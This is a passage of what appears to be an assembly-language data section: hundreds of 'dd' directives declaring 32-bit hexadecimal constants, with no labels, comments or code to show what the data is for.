4455D220h, 0A1C92099h, 6009FEBh, 8D6EC44Ch, 0CCB25Eh dd 5005C50Bh, 5AC60444h, 0D8360330h, 4BE20D7h, 0A7FE49AFh dd 3320C2B3h, 0B0082419h, 1CB14E88h, 42432B11h, 0ACC83AD9h dd 71773461h, 60C01940h, 3B05B2ECh, 0E31BB4AEh, 14A7C44h dd 0C43D20C3h, 2B9C9E40h, 340B1EB4h, 820AD07Ch, 9992909Ch dd 613E68Ch, 214F0900h, 7E2F6CCCh, 0B4CCA02Eh, 0A24284F1h dd 272BA850h, 0AC2191A9h, 29E01C3Ch, 5E2E74D4h, 18117804h dd 9848C748h, 0A04C2797h, 0E499F6F7h, 34B6F326h, 172ED607h dd 0DA540489h, 622E132h, 4698666Fh, 78B062A7h, 0E3000F8Ch dd 2960AC51h, 547D6828h, 3D781000h, 0D86DE2AFh, 58E5741Dh dd 0D905A8CBh, 88375A15h, 9988B64Ch, 0FE670076h, 0C39322F7h dd 95008F33h, 90FE5D2h, 9BE77BFh, 0EBA8906Bh, 32C65CA4h dd 5DB04C19h, 62003402h, 0CBDA9FDFh, 1B03C17Dh, 12CE790Ah dd 3C909056h, 5408B836h, 89CD249Eh, 10060138h, 0C840C805h dd 755D491Fh dd 0C02B1285h, 729C86C2h, 0D66814E8h, 9480C093h, 0EFF9DD8Bh dd 612E5600h, 801AA712h, 40BF0315h, 706F73Ah, 0D5AD5907h dd 35F0B85Bh, 227D44Ch, 0FCEFF2E2h, 50B8D267h, 221EE12Dh dd 0C428DB7Ah, 17792090h, 0FF2C2CB1h, 5ABE2C26h, 2813CC25h dd 6A62002h, 60B10053h, 820050C4h, 79103BD2h, 4CC538D7h dd 8A80247Bh, 660B1DC1h, 0EC20945Bh, 0BFE4937Bh, 1EC14B62h dd 11886270h, 0A92295F7h, 7AFEBD00h, 0A59849Ah, 0CDB00557h dd 44ECB85Dh, 22CE16E4h, 3BD920F9h, 90A407C3h, 0D3FAC0B5h dd 174FA97h, 698F287Ch, 6C2BB1BDh, 0BB670BF0h, 0D358844Eh dd 1EB09CF4h, 0C0594CCFh, 13E92D0Fh, 8B07F4C9h, 88E40350h dd 80EFD347h, 0B49D8536h, 2464A818h, 41D78198h, 9C2CFB4h dd 8213CBE0h, 29016CD1h, 0B290168Dh, 12D8FF8h, 0D25D372Bh dd 24090BADh, 0AA898CECh, 7FED3C31h, 104E1511h, 0B1A3E362h dd 0DB508E98h, 492AD304h, 40998018h, 723E37EEh, 0DA7B013Ch dd 828A521Dh, 77C02838h, 0DB42A8A6h, 4144971h, 0A40B079Ch dd 9163F079h, 902BFEh, 840934Fh, 0AFD904FFh, 0B0D5546Dh dd 6A0BCA7h, 0F90890A9h, 46720625h, 2A88A20Ch, 0AAE08860h dd 0B46D1Eh, 30C0AC92h, 0AB176005h, 0BA8E7103h, 0AC101B82h dd 6A0AF8E2h, 64A0A9D2h, 28375355h, 5363E907h, 731880E6h dd 85EE0066h, 44975DF3h, 14141EF1h, 11B83A12h, 311178F5h dd 91AF0052h, 0E3AE7C7Dh, 485CA8A2h, 0FC1097DAh, 55007205h dd 0D8CCE50h, 5C0E3CE0h, 0B7104CA0h, 95FD8494h, 540058A6h dd 32EE455Ch, 0A1008D66h, 0ED139751h, 2C1FC47Ah, 6008A465h dd 0E027EE8Ch, 223D3720h, 6E21BA64h, 5F7700AEh, 3AEF896Ch dd 0A1642900h, 5217D308h, 0F8FAE290h, 1BB50030h, 9C8AD0F1h dd 0C8FA94E9h, 139D111Fh, 0D947691Dh, 0D8722A97h, 8C146339h dd 10B8E34Ah, 448DC8B5h, 9F484026h, 0B25A772h, 7C8D0F44h dd 24D7F402h, 0CE363840h, 0A09A5B13h, 2898C701h, 3BC4212Dh dd 407868C2h, 0C9D102B0h, 0A082361Ah, 0C213938Bh, 35FF0296h dd 8903AC59h, 88BB16D9h, 527DF01h, 0BFEC243Ah, 0CE8C81DAh dd 6DB01111h, 0D8218035h, 0B460CC4Dh, 0E1B2004Bh, 4CFDF7Eh dd 7A586488h, 408D354h, 0CE460837h, 284BEE44h, 0F5DADCC8h dd 47651300h, 42EA97DFh, 202C9063h, 0FC8C8975h, 5E0F0FF8h dd 407826D7h, 0E50A733Bh, 5C6E0217h, 79BF43C7h, 0F4F18899h dd 54B4740Bh, 2578D440h, 42189C80h, 3C05F12Fh, 903B9C04h dd 0F0222022h, 0CC7C6A29h, 3E7134h, 0ADFD3301h, 0B690D23Ah dd 0BC810D88h, 6A1EE090h, 0EA00643Eh, 26E9FD6Fh, 5A3C6Bh dd 0B62D51E8h, 0E01D08A0h, 628588B9h, 78C2AA04h, 14B2195Ah dd 20B5F0C2h, 0F52DB95Dh, 3B0F4B07h, 0C4100250h, 726A7227h dd 65A109C7h, 54407ECFh, 40821B5Ch, 88542F5Ch, 0E20ABEB9h dd 0D01E91A6h, 4445DC44h, 76BA80D8h, 0C2274A6Eh, 0EC90460Bh dd 0BE3B0369h, 0ED57387Ch, 6DB3388h, 0CB0A1401h, 9D5882EAh dd 6443F075h, 6BAFC04Eh, 0C86E2C15h, 0C8969054h, 0D12892EDh dd 0EC24418Ch, 0A6009BD5h, 0B8377A68h, 486A8567h, 407E140Fh dd 7224DF98h, 8061407Ch, 0A202364Ah, 8415C519h, 62A8F23Dh dd 2810148h, 1CC433F0h, 9EDE3B00h, 0C6085C80h, 2E8E0F54h dd 32E11BEBh, 30C21ED4h, 4E138004h, 10018993h, 61C4E750h dd 70280435h, 6F2B7A80h, 3818BB9Eh, 40CA32ACh, 0D7E31C93h dd 0F86102AEh, 888FE0B3h, 0E104C410h, 22081CE2h, 0A0B48F0h dd 3480C80Bh, 0E94C01CEh, 30B33BBBh, 9D6428DEh, 74300256h dd 5479B4Fh, 510CFCEAh, 9BAEC94h, 239BDF2h, 10932B80h dd 0FF8095F9h, 44CB867h, 0AC1CC3Eh, 8940EC6Eh, 651499D4h dd 0E11416E5h, 2A13C6FCh, 9E8EB50h, 2B3D2D05h, 16213010h dd 5DC25000h, 0BAFE3059h, 5A3100E7h, 0ACEFD27Eh, 0D0A03BB5h dd 5E827DC9h, 0E5976068h, 837E5459h, 0DB691200h, 0DEE340CAh dd 9A4D00EDh, 6B2935E9h, 1C26B776h, 7901E8F8h, 0E2D77C15h dd 88340475h, 74458621h, 0F415840h, 21041425h, 8F09DDD8h dd 382FADF1h, 0F0F2A1C9h, 4AE1EB3Bh, 4D06820h, 7AF80081h dd 0FA4E49F2h, 0ECA6B267h, 5FE0BA20h, 10E43006h, 0EA267B81h dd 6C1248D8h, 4F440480h, 2C8F8871h, 61D602E9h, 22CAD83Ch dd 2D11A973h, 0D0784A10h, 123FE601h, 0DE4647DDh, 534E1C2h dd 0EC00A008h, 6ACB63CEh, 482BBE08h, 1CA5A465h, 955138h dd 849A0A9h, 785A8DE0h, 21AB2829h, 8A737768h, 8D40A074h dd 53C3CEh, 0E8725C26h, 0E4421B66h, 0C2437098h, 2C121E10h dd 0EB088037h, 0BEC88023h, 79103C4Bh, 384A4Dh, 1352A907h dd 0E6B9D30Ah, 4E980FE6h, 0AD890146h, 711084F9h, 5010ACC4h dd 908A21C8h, 7D0B84ADh, 83E03025h, 0E00542Ch, 5FFD246Dh dd 0A573542h, 87AD7DF0h, 71A3028Fh, 98C0B331h, 484BEA6Eh dd 431B7031h, 4ECEEFCh, 0E4FABD47h, 48C035A3h, 376686E3h dd 95E86D41h, 6EBC0438h, 10CE4B96h, 0F0D744h, 558E68D8h dd 0A6A12134h, 7C093675h, 0A43D290Ah, 58A282ACh, 83750682h dd 1626E046h, 7FE0B8E1h, 0FBCAAh, 0E9F1BF2Ah, 3E74248h dd 0A0C6722Ch, 47960108h, 142CDAD2h, 1AB0FC0Ah, 6C00DCF7h dd 9A0B2C9Fh, 48BF9460h, 0C510A4A8h, 342B007Bh, 3BDAED77h dd 0E63A12C8h, 24FCB382h, 0F110D0DFh, 0D38C46C8h, 0E6910h dd 0F116B5D1h, 15EF8140h, 0C8429907h, 0F29EF2AAh, 0B1D0E8DCh dd 6D8538A4h, 0C82CC4ECh, 5F1DA748h, 0F807B5Ch, 389CAB2Dh dd 4AB470C0h, 7494C8A3h, 0B695D001h, 5F62FA6Bh, 944AE2DCh dd 0C5FF16E8h, 28F08C64h, 0BA06F70Eh, 0E641004Bh, 1DAA0525h dd 33C88h, 2A599862h, 7C1E61DDh, 0B34C7BEBh, 86E9F8D8h dd 0F4010AF7h, 0E6248EC2h, 4AA1202Ch, 69324102h, 60B3EEBBh dd 0BED44810h, 8B64C19Ch, 0B460C671h, 0CE1FF673h, 6BD6071Ch dd 90A374E4h, 415496B0h, 2F2D16E9h, 0BF70F441h, 6C288B7Bh dd 5896E521h, 7D5CE7h, 0E816870Dh, 0B01FA5D8h, 0A6D0F51Eh dd 65A01A84h, 948D0483h, 41801CADh, 2BDB45D7h, 8A5C531Dh dd 51000B57h, 315FF5E7h, 683F1364h, 32541215h, 5460A9C0h dd 2C497891h, 90862180h, 0E56E8BE5h, 0AAAB030Ch, 8FB9D07Fh dd 4C9470CCh, 0FBE4B741h, 89A8B1DCh, 68D10356h, 26CC750Fh dd 4370B72Bh, 94C42792h, 0CF3600F8h, 0A8A6AA2Ch, 0D34A2963h dd 6FD2FCD0h, 5B503FE5h, 822E7692h, 0F12EA780h, 3F704A03h dd 0EF99B315h, 9ABECC0h, 0A6906378h, 3D0077F2h, 0CE583314h dd 3AAED84Bh, 0BD300DE1h, 0A74FE510h, 840A103Eh, 8A59123Dh dd 32A934A0h, 28B11BAAh, 0C2002C52h, 780D0886h, 943D05h dd 0C5A755F2h, 0C7C106E8h, 82519201h, 0F7171D23h, 0CF8BD82Ch dd 0F3C05030h, 77F74180h, 26D70163h, 0D9B06831h, 96D9892Fh dd 7D4F207h, 0E783180Bh, 0F4C95064h, 0EF5B98A3h, 0E02BBA8h dd 4003DEA0h, 326AF0A4h, 89B0F11Eh, 0C0A4EF06h, 7FFA400Eh dd 2AE01A0Bh, 4C446401h, 0C09F7C2Bh, 97210A3Dh, 0B703EA5Dh dd 0E994E46Fh, 5482D55Fh, 142019CAh, 611EA8A2h, 67E6006Dh dd 21FC1728h, 5CBA2F7Fh, 62CE9444h, 2D7FF152h, 0B14307D5h dd 0D0033DC5h, 0CF6FA5D2h, 0C604180h, 0FB2D13C7h, 0D948E0EDh dd 661B0607h, 644088F3h, 275D2BB0h, 2C16CDD2h, 326B1845h dd 6C433128h, 0D90015EAh dd 307C33F5h, 4980FE36h, 0EF045A9Eh, 7A672A12h, 279AC8Ch dd 2334623Ch, 90F87E17h, 152EF481h, 0E615DC30h, 7B86FA5Ah dd 4ABB0006h, 3EF14767h, 0D6FC58B8h, 82BD7F25h, 7C8B2C44h dd 2F0DC04Ch, 8A00FC19h, 9A8F1D42h, 24BD128Eh, 69C0E31Bh dd 1107F091h, 4181F128h, 0E4EC6062h, 3B4D309Ah, 19E7B0C9h dd 0F011334Ch, 0C848782Ch, 8DCA6D5h, 0C4B82052h, 5D9201EBh dd 0B0572E41h, 0A2BDF8ECh, 0C6CCF26h, 8DE0C15Ah, 1614223Fh dd 0E0149B12h, 31FFE77h, 19F04431h, 929441BDh, 0B3192268h dd 8004E814h, 0DB2C0B70h, 0C6D600FFh, 763BAF40h, 5B253F1Ch dd 0ABC00153h, 0FE094F93h, 0E698A922h, 7C704388h, 9D920B84h dd 0D4442D0Ch, 0E279E964h, 0BC04E481h, 0C4DEF510h, 0A79DF100h dd 0CF095768h, 3926FA4Bh, 50F04EC9h, 120BA936h, 44AAFACCh dd 22098954h, 736231Dh, 0D47681DEh, 11031200h, 509E78E7h dd 0DADE07A7h, 313630AEh, 28DB6DDCh, 0CE3B0888h, 44C6446Ah dd 7C8930F0h, 12891891h, 0C8F222E3h, 11FD8078h, 0EF104682h dd 0B86BBB70h, 0A2171208h, 877444EEh, 3AFF478Ch, 972077F7h dd 4FE3F3AAh, 2D382838h, 613183E7h, 0F1C8AF92h, 2AE1B33Eh dd 0A87C58F9h, 8B94EB10h, 84887931h, 0A2F5015Ah, 1DD5033Ch dd 8012087Bh, 1E78FCE6h, 7AAE866h, 20542FCEh, 0B349740Ch dd 40D4EEE1h, 3ECA1701h, 0C3609447h, 4134949Fh, 7293D5F0h dd 6BEC09D4h, 0A540804Bh, 185A9FEh, 0D4C71013h, 60AF9CC5h dd 4286E1F0h, 14935A69h, 0B8BFFB46h, 0D92E6Fh, 67C1197Ch dd 48F9F64Eh, 0C522CF0Bh, 2C6408h, 27C30172h, 1CAEBA9Ah dd 8584F00h, 0DB026240h, 0CF790857h, 0E108037Ah, 52B0189h dd 7D1AB32Ah, 0CE36C0D0h, 4D09529h, 0C260D76Bh, 2978B8BBh dd 0CC97B0C3h, 333D9CB7h, 0F950E981h, 30B6D808h, 0EC44F848h dd 1B9788D9h, 0F0FBDB00h, 171E8A08h, 368501DAh, 0E7D03024h dd 7C7CE20Bh, 993CA690h, 3629E500h, 0BE67C77Dh, 1AAB9EC0h dd 95E91D1Eh, 31026004h, 912121Fh, 34141D20h, 20471F58h dd 0A7F34027h, 0A2375AB4h, 80D22E0Dh, 7C23A8CEh, 81442400h dd 3548F615h, 391C802Dh, 0FE019E24h, 44C2091Ah, 54934294h dd 0F04E6CF4h, 929B2848h, 3D742CAAh, 2110E148h, 285691B1h dd 6520E0C7h, 2BCCA1B2h, 93D0A815h, 97509701h, 0CB5C7Ah dd 0C1213B60h, 0C35BC7EEh, 0A110E90Ah, 0A203B597h, 0B8E8ED27h dd 30A7C4F7h, 0CE28CA61h, 0A80A1311h, 64951043h, 960BA81h dd 0AC387C67h, 0FC5A8D89h, 76239D00h, 63BDC35h, 0D8AFFB6Dh dd 0A45C0064h, 26B0059h, 67ED80BFh, 0CC244CE3h, 0D989EB88h dd 0F7A49093h, 0CAEA13B5h, 0B29C16CCh, 88AEC314h, 685DF865h dd 6A30CE8h, 0B0788FA9h, 2670014Ch, 148494D9h, 215F0EBDh dd 8034CE09h, 6DFBC00Dh, 20849A9Eh, 9B4DCF1Bh, 88E29724h dd 7EBC4C00h, 3626589h, 0E672A100h, 51AA3B9Eh, 0EF610EA9h dd 821DB071h, 0A13C46A0h, 176F84C0h, 23D7816h, 4EC48CB0h dd 0F814C7CFh, 27C11F9Eh, 4825833Ch, 80987CF2h, 0EE3EB280h dd 0D11ED546h, 0C0CC28B4h, 2075D8C7h, 6721090Ah, 0FC442F89h dd 3CA73F07h, 4DA02004h, 5ED9F446h, 40F8882Ch, 51482964h dd 10816621h, 8810D5A9h, 0A04C6DD9h, 0A4933E84h, 0A6043C0Bh dd 2D4B14CEh, 77949CD1h, 2490781Ch, 2A3CAF0Ah, 8A11A8A3h dd 203B5B78h, 296373FCh, 0F1F8B102h, 41136115h, 6181B0A8h dd 0E5A00AAFh, 84184307h, 0C22C7290h, 2AF40956h, 885F6481h dd 0A28BC070h, 49420060h, 8872C39Ch, 93007004h, 6AD2F3E0h dd 0F7C83Ah, 0A68FAAFCh, 0DF12172Eh, 2614D01Ah, 3C71B8h dd 5BB22338h, 6B2E5764h, 120834B9h, 40CE44CFh, 557C49D9h dd 0AA02099Fh, 0DCD22CAEh, 46ADF00h, 0C5CDBDEBh, 491E645h dd 876EC957h, 606C80C3h, 0E00BD8A7h, 9029C536h, 0EEE2658h dd 84D7AB1Bh, 3EC248CFh, 5C642CC1h, 0C6A4F21Dh, 0AAC20BC0h dd 20D3295Ch, 0AF4E5D34h, 0C825C821h, 0E8A759FCh, 54F001C3h dd 0D661CF8Bh, 0A26C3038h, 8C2A1742h, 873B0CE8h, 0A9991965h dd 0E103AA1Ah, 9CF9E9h, 0BC700881h, 7100C891h, 7458B679h dd 16FAED83h, 3057263Eh, 8B476CC4h, 0A2353Eh, 77C78034h dd 0CE6A36h, 0A7E28362h, 0B4B11D45h, 0C1B9314h, 0C43B29E4h dd 0C0E07280h, 27987313h, 0FC44D2F4h, 53A44100h, 0AEA29E92h dd 5D810095h, 7D666DCCh, 830794B9h, 2BDABCA3h, 5AD0789Bh dd 283C881Bh, 13F42097h, 443545h, 31381A7Dh, 6EC3B932h dd 0FEB7F802h, 4226F791h, 0CE8090DBh, 0E0870382h, 0D72B4561h dd 939AA1F0h, 0EB7D8500h, 921BB68Eh, 11EFA38h, 3C9089F0h dd 73F18610h, 287D0058h, 50A8A67Fh, 69AD0429h, 0CD606609h dd 123036BCh, 0CC04372Dh, 5220DDDh, 94388429h, 112B4C54h dd 1D710070h, 0D63B248h, 0E90CB400h, 0F478F641h, 0B727B83h dd 0E1D65BB8h, 9100BCD0h, 0D755F2D4h, 37DEF7h, 0CE3480EAh dd 23966440h, 0CC8BB302h, 0D60A0B1Ah, 0D0D392F8h, 8A808D0Ch dd 1C146802h, 57FA0773h, 87100401h, 242FEEh, 8E13181Fh dd 30E31820h, 0E83F26A2h, 0A57188E4h, 270C1849h, 0F3120F18h dd 0A0C16FCBh, 0E0712682h, 5C0460B2h, 0E660806h, 1C7BC749h dd 0FAACC801h, 4B6BB26Dh, 3FD062E8h, 2D20F200h, 0A3E3689Bh dd 0BFA5Bh, 0C6BD1088h, 22819443h, 1D13353Fh, 0BA0034FBh dd 8AEFB0B5h, 0E1450284h, 0D1D6668h, 20328DE1h, 0D6B8FE51h dd 0C493B28h, 36D03A1Eh, 31303B9h, 0BB6070F0h, 0BB1001E4h dd 3B269B35h, 236180FFh, 0F48F5C79h, 7D110CECh, 2418667Ch dd 83924618h, 9A5A91h, 96BF3DB1h, 0D95BBB9Bh, 3423370Ch dd 7DBA58DAh, 0F39803C4h, 88CDE31Eh, 0FE6A3001h, 0FD269374h dd 6D7101C7h, 75A3B84Dh, 16CDE02Bh, 1E514F44h, 0C04A21C4h dd 5A8F0FB7h, 42FCB48Bh, 2D4721DEh, 34D14946h, 78804F2Fh dd 6CDCDA0Ch, 560E9F69h, 0A37AB570h, 3F9E20Ah, 233D2471h dd 117AEFFFh, 47194D60h, 0FD1776h, 9C482F05h, 2B07AD39h dd 0F1784E61h, 3501FBCAh, 370EC026h, 804741C8h, 0EC28418Ch dd 0DC7833E0h, 5300DF90h, 2FACF02Eh, 0C88342CEh, 4E8043C0h dd 4C412D37h, 527373h, 0A8DD77Ah, 0D2137B1Ch, 0CD000B7Eh dd 0FA373F40h, 0C22ED0F4h, 9FA32781h, 0C7C0B4AEh, 0E78C6D7Ch dd 175A110Ch, 3BDC614Ah, 0B60082DBh, 0D35FB456h, 7E527D62h dd 20941884h, 6A924560h, 113458F5h, 0D10078FAh, 8B7AB31Eh dd 286B01F1h, 30A42E3Fh, 0A7892F2Bh, 563E1562h, 901603EFh dd 0E0104A5Eh, 39CB46BCh, 0EAF7D123h, 9670084h, 72CE11EFh dd 320C26D7h, 801B4E52h, 37B7153Bh, 2302B4E3h, 0F9C794CBh dd 81A74043h, 25755093h, 7B1C43Ch, 94FA6D0Fh, 148CA3C9h dd 48CEB245h, 24A95A90h, 409C500Fh, 0B6965119h, 0E279EE00h dd 7C36C902h, 0C0FCEA26h, 9291C1E9h, 646AE30Fh, 9F0C7480h dd 0FCE51E6h, 0C598B09Bh, 0E4AAFEE0h, 810F849Eh, 80062226h dd 3E40A4D4h, 0C51A003Ah, 835E9C93h, 7300C7ABh, 2770BD2Ch dd 0C0AA50EAh, 0A9080F91h, 9E008637h, 0FAB8A7AEh, 3B2541Ah dd 22F047BDh, 980088C6h, 3BFF8073h, 9170F8h, 0BB820489h dd 0FB817A5Fh, 942B6B05h, 7407A84Bh, 602FE08Ch, 388D6FBBh dd 1C9090BEh, 8628DDh, 63B19BCAh, 0F407A442h, 0FDF572F6h dd 0A8CB5B73h, 0FFA994Eh dd 3B9F9891h, 0FF887980h, 6300B92Ch, 1EF86724h, 0B36697h dd 0B719A954h, 59A09ECBh, 71CB649h, 0BBC1045Fh, 1103EF9Ah dd 989EA8B2h, 9248176Ch, 0A082B028h, 1C20850h, 0D7950C40h dd 20E7AB35h, 0C8A8B568h, 1500F3C4h, 0B359D82Ch, 492E9F5Ah dd 3A1D382Ah, 9EB2C3FFh, 0EB88C934h, 913EC09Bh, 48204B8h dd 5087DD4Ah, 0FE58018h, 0BB4E6E8Bh, 6F33C905h, 48037F7Dh dd 7CB49346h, 817B6FC1h, 0F0069589h, 9A1411F8h, 189827F7h dd 265911CBh, 209139h, 907CC59Bh, 9898E525h, 131A222h dd 2E3AB839h, 8901B1DCh, 98E9166Eh, 9B09A70h, 2AC1C9F2h dd 0FDCFF002h, 0A0825022h, 151821ECh, 8EDB0228h, 0EFA37F63h dd 0C9F1FC48h, 0B33180FBh, 44CF715Bh, 4E5C00B4h, 0A716D314h dd 240CCD19h, 51A5AB45h, 5C0F4DA3h, 9BC8207h, 0CD25702Ah dd 0D600A505h, 79FE7CF0h, 0F4D104C8h, 742F10A9h, 0B2F11433h dd 7DB382ACh, 0D9246671h, 1018C0D8h, 90628144h, 0FC9122CCh dd 3FF89A04h, 50C816FBh, 76B1ECF4h, 22DB000Dh, 5BD648AEh dd 95889717h, 78FA0098h, 9F58CB34h, 77118396h, 0B91E4417h dd 0E007C03Eh, 76B6F0DCh, 803FFC3Dh, 0A595BE92h, 65E291h dd 43F77C94h, 3BE693E4h, 13843D00h, 6EB1DD44h, 74610051h dd 95190373h, 0B824F018h, 0C7403829h, 1BF320h, 6E87314Dh dd 41174782h, 302CE9C6h, 0D7230029h, 0D9265765h, 9CA03DB0h dd 8C09C6C5h, 243527B4h, 9540693Ch, 0C79F6381h, 0C674844Ch dd 214C16h, 0A6310FC2h, 8F42C04Ah, 5E3D2B14h, 0C0502CA4h dd 0E8D94140h, 0E27501B3h, 0A9491527h, 3B0022C5h, 4D29E050h dd 460B7Fh, 0EE52A86Fh, 7E64871Fh, 6C2B7200h, 0E8FAF2C9h dd 9474B1B0h, 1780D013h, 1D2575C3h, 5A31D801h, 7ECE2991h dd 0E7C40321h, 0CB100693h, 11BDFCCDh, 0C5EB1802h, 0C00FE139h dd 6F5F96h, 0B7B33F7Fh, 0BF98B151h, 4860EA00h, 650F7DA4h dd 45CE3EA6h, 0D2CBC700h, 5D73EE6h, 0C0A3AD00h, 0EDF4952Ah dd 8AF80084h, 3FD4267Fh, 100A5535h, 80E7EBCh, 0EF9C9806h dd 80809929h, 53F7E59Bh, 4400EA04h, 0C92F9CB5h, 48269457h dd 9A82E003h, 3C406DC7h, 98921C1Fh, 41BB943Ah, 41975834h dd 0FE5C6033h, 942788h, 0C1473BB1h, 21255B24h, 6C3A232Eh dd 44C7F142h, 651B1388h, 90E8007Fh, 72F04AC1h, 0DDF9CF0Eh dd 808A0969h, 173EC689h, 1674B937h, 5B840427h, 0A8D203F7h dd 0FEB093CDh, 0F6F52288h, 5643C403h, 0E8F799C5h, 30AE9F51h dd 0B0E05C08h, 3909D88Eh, 428FC7D0h, 26286100h, 6444FFF9h dd 9F988Ch, 94C8C643h, 0ACC7FE09h, 0E678BF17h, 0A0642C00h dd 30DF6808h, 80312D29h, 0D5025683h, 44A12E82h, 3848267h dd 0C0C44Dh, 0A93F00Bh, 0D4846E57h, 0D63CE16h, 6290F81Fh dd 2C29C40Dh, 0A2C8E051h, 0AC5C0A0Eh, 0CF152077h, 78B8F5A1h dd 82E4864h, 7BB9F730h, 0AE881426h, 8AD80086h, 39D0B6B0h dd 1F1603E5h, 502058B3h, 9250173Bh, 37CE030Ch, 0E7C9C696h dd 0FEABF3A3h, 0A850492Ch, 0BC434940h, 75E84Eh, 76910E5Eh dd 2A8E04AEh, 0F5216500h, 2B94C947h, 0C6CB806h, 99A693C7h dd 1F1FCC48h, 29982696h, 0E091D859h, 501D078Fh, 5072B4DBh dd 0FFA1126Eh, 7C1223ECh, 2840F9DCh, 3A992745h, 0B5020F21h dd 93834ECDh, 20EF5EC7h, 0B09D9ED1h, 0B1CAF700h, 82629617h dd 0C6863C88h, 0CDFA5509h, 9C6FBF00h, 81C72429h, 0F810C277h dd 8CBC4Fh, 5227C11Eh, 0B19A54DAh, 0BAD2F617h, 5B203207h dd 7EAA84D0h, 0A45FFADEh, 1FD301A0h, 0EF9FAC69h, 70E470EEh dd 0BAC4F713h, 0A0023813h, 2918107Eh, 0E3E8541Bh, 73005D3Eh dd 160CD171h, 12AA9320h, 435E5737h, 0A43DB100h, 54E147C0h dd 79057F01h, 94679EEDh, 442CFCE9h, 845D7410h, 0A344AB9Fh dd 40890F1h, 0A500AED4h, 0BC9E9D0Ah, 1A07452Bh, 394916EEh dd 0D3373080h, 2F09AD10h, 843B6B93h, 8882F1D9h, 1B5C5A9Bh dd 0F9B79143h, 0C903Bh, 0B8AD6F40h, 4A2B7B01h, 28840823h dd 0E7527680h, 0C2956Eh, 0E1DF6750h, 423CF1EFh, 1F28EB02h dd 6936AB37h, 0F2104FB0h, 4D033F58h, 3337B0C0h, 0EC204C32h dd 2268877h, 0C0A6C894h, 50246420h, 7D8BE004h, 461C1070h dd 0B9B86BAEh, 0E2E49C0Eh, 204D454h, 809843E8h, 0C10BE05Ah dd 98012699h, 0E58164h, 0F982E810h, 0FF92EDACh, 9EC6B601h dd 58B88604h, 7C2DA3F1h, 57025E00h, 55E78D61h, 47CEF807h dd 1F47D060h, 94A36AF0h, 6264003Eh, 0E548E0ADh, 3C00363Bh dd 7EF42E7Fh, 751E8FE8h, 18261CE4h, 9F59DCEh, 3099C1CAh dd 0F9DFD098h, 1E428F00h, 0CA654711h, 7D1620F8h, 0C1C5B002h dd 0E16D1B49h, 0C81524D0h, 0BD38EEB8h, 261B80C5h, 9686AFABh dd 1907EA7Dh, 0A0A61CACh, 34A05033h, 9C256C43h, 6D209096h dd 0D77B0028h, 3CB9F476h, 9325EE4Ah, 0A51C204Bh, 0E4DFACh dd 0B896F806h, 90CF775Bh, 4D4A44Ch, 2B1B05B3h, 9F0060A2h dd 0D915398Bh, 5A3CB232h, 94318406h, 0AC81D027h, 0B0500DA3h dd 9D80E6Eh, 0FC64254Ah, 0ED3C1A00h, 991DC904h, 0CFD2CB9Ch dd 61C036h, 22183AB3h, 38E31B67h, 965B140Fh, 0E1098176h dd 0A42D4B81h, 216BAF03h, 95E0F738h, 189073B6h, 509C51F9h dd 0BC2980A6h, 884C1FF3h, 97420071h, 0B1D1A8Ch, 0DF004F18h dd 57A3B2F5h, 647C7DA8h, 882C895Fh, 0ED4CD68Ch, 0C6660F65h dd 26FE80C1h, 0A0649239h, 27D00BBFh, 4C90D6A5h, 0FC4C2027h dd 0BD017984h, 8ACDB8EEh, 0B820F3F7h, 2427F638h, 88947AAFh dd 448918C6h, 2ECC3103h, 48F54210h, 0FE5FC601h, 0B86CCF76h dd 81B39843h, 74349311h, 0D9B03A9Fh, 0B28B1F9h, 3410F998h dd 0FF1F5879h, 81042B6Eh, 8CF4FDBFh, 0A94F8443h, 7B1D428h dd 1EF885C3h, 8807C521h, 452E2778h, 936330AEh, 0CCB12C1Ch dd 90151248h, 0FABCD370h, 0D5A56000h, 0C47F76DCh, 58E7088h dd 33B9C5CBh, 21408981h, 2C480290h, 5100A8C4h, 30680B09h dd 3D678Ch, 0C585D04h, 0F2A037A9h, 18B48900h, 9A5A6835h dd 0AB5517F9h, 0FFE40426h, 4E58C8AAh, 38794D88h, 728574BFh dd 25F5A8D3h, 0F3A882A8h, 4820532Eh, 1CEEC71h, 0A4E4CD9Bh dd 6284C911h, 20C70020h, 6B0127F0h, 0DCFD54E3h, 0F1B58826h dd 0C5B71B01h, 0D4663D8Bh, 22E3CC0h, 9451A905h, 0B8A07F4Bh dd 5CC077EDh, 0B0010C98h, 68709930h, 0E430C9EAh, 47B945A6h dd 69B8C08Ch, 800F659h, 32F3F4FEh, 117BB4h, 977043CAh dd 8B48A198h, 3D80AA00h, 646A1431h, 2C7394h, 0B16D65AFh dd 0DA583422h, 0CE6FF700h, 1452A298h, 73B23D3Eh, 0D250B780h dd 0FD59B7Eh, 0C203C003h, 8D7DC72Ah, 0B0954488h, 0AA1107F4h dd 625451h, 0F43F5B45h, 3CA31424h, 4098C942h, 42993FFh dd 4C21CA3Bh, 7858C0E8h, 0EC007CD7h, 7F6C48C9h, 525313h dd 0FBD8A428h, 0C3985116h, 3D588E18h, 1F1CF378h, 4CC68Dh dd 12B6F9FBh, 0C3FFDA8h, 4D7196BDh, 0A0BBAC32h, 0CFF0C798h dd 548B2564h, 690812E1h, 452278h, 38D94B2Dh, 3A1FB211h dd 1F20B48h, 1AC9544Ch, 1023C5A9h, 441C372Ch, 0E8E2C4h dd 907221ACh, 872DE5h, 0C3FB5582h, 0F99E9291h, 9D4CB5Ch dd 46263473h, 5D042ACh, 0CAF4DF44h, 48D80850h, 800538FAh dd 1D97403Ch, 0A6085Ch, 2B849E9h, 7533F1E1h, 984DBA00h dd 0E2793571h, 0CB310203h dd 9EB8CEB9h, 63F05361h, 0F91122BCh, 1298C4EAh, 8488FF73h dd 1450F2C8h, 2FB063Fh, 928F6EDBh, 602858D2h, 665A3915h dd 0EF008984h, 8C9891BCh, 0F0391743h, 0C0CF7BF4h, 2B65B369h dd 6737B895h, 0A0C07163h, 5CBFB4A6h, 0F825F13Eh, 91EC8410h dd 189B7A02h, 810E7C9Ch, 0F55ABC08h, 647061C5h, 0D652122Dh dd 0BC4099Eh, 0F3A31CA3h, 0F7B74900h, 27E81918h, 0C9BC0091h dd 8199AE33h, 0E72D5045h, 0C7FCA040h, 43F011Dh, 0F0FA5893h dd 20108494h, 0B043CB8Ch, 2C2CC9DEh, 0E7944F03h, 0E6118AEEh dd 26CA7F20h, 330DA2h, 255308E3h, 0F000E469h, 0B4CB8393h dd 0E6397063h, 10294C8Bh, 36263304h, 2574D707h, 4A8C404Bh dd 2B65C45h, 0EB28B070h, 5608ACEEh, 11E08DEAh, 0C0EC4C55h dd 268EED89h, 15DFE56h, 